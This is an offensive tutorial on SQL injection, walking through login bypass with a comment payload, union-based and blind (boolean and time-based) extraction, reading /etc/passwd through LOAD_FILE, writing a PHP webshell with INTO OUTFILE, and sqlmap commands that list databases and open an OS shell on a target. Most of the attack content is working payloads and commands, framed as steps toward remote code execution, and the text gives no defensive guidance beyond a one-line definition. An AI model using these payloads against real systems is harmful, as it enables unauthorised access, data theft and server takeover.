SQL Injection (SQLi) is a code injection technique where an attacker executes malicious SQL statements that control a web application's database server. It occurs when untrusted user input is directly concatenated into a dynamic SQL query without validation or parameterized queries. Successful exploitation can allow an attacker to bypass authentication, access, modify, or delete data within the database.
The Mechanic
Imagine a login query:
SELECT * FROM users WHERE user = '$username' AND pass = '$password';
If I enter admin' -- as the username:
SELECT * FROM users WHERE user = 'admin' --' AND pass = '...';
The -- acts as a comment in SQL. The rest of the query (checking the password) is ignored. You are logged in as admin.
1. In-Band SQLi (Classic)
This is when the attacker can see the results of their query on the web page.
Union-Based: Using the UNION operator to combine the results of the original query with the results of a new query.
Steps:
1. Determine the number of columns: ORDER BY 1, 2, 3... (until error).
2. Find columns compatible with text: UNION SELECT 1, 'test', 3.
3. Extract data: UNION SELECT 1, database(), version().
2. Blind SQLi (Inferential)
The application is secure enough not to show database errors, but insecure enough to execute the query.
Boolean-Based: You ask the database a True/False question.
id=1 AND 1=1 (Page loads normally).
id=1 AND 1=2 (Product not found).
We can use this difference to extract data character by character.
id=1 AND substring((SELECT password FROM users LIMIT 1), 1, 1) = 'a'
If page loads, first letter is 'a'. If not, try 'b'.
3. Time-Based Blind SQLi
If the application returns the EXACT same page for True and False queries, we manipulate time.
MySQL: id=1 AND SLEEP(5)
MSSQL: id=1; WAITFOR DELAY '0:0:5'
If the page takes 5 seconds to load, our injection worked.
4. Advanced: Webshells & RCE
If the database user has FILE privileges, you can read/write files on the server OS.
Reading Files: UNION SELECT LOAD_FILE('/etc/passwd')
Writing Webshells (The God Move):
UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'
Now you have full Remote Code Execution on the server.
5. Automated Exploitation (SQLMap)
Manual injection is good for learning, but professionals use tools. SQLMap is the king.
sqlmap -u "http://target.com/page.php?id=1" --dbs (List databases)
sqlmap -u "http://target.com/page.php?id=1" --os-shell (Try to get a command prompt)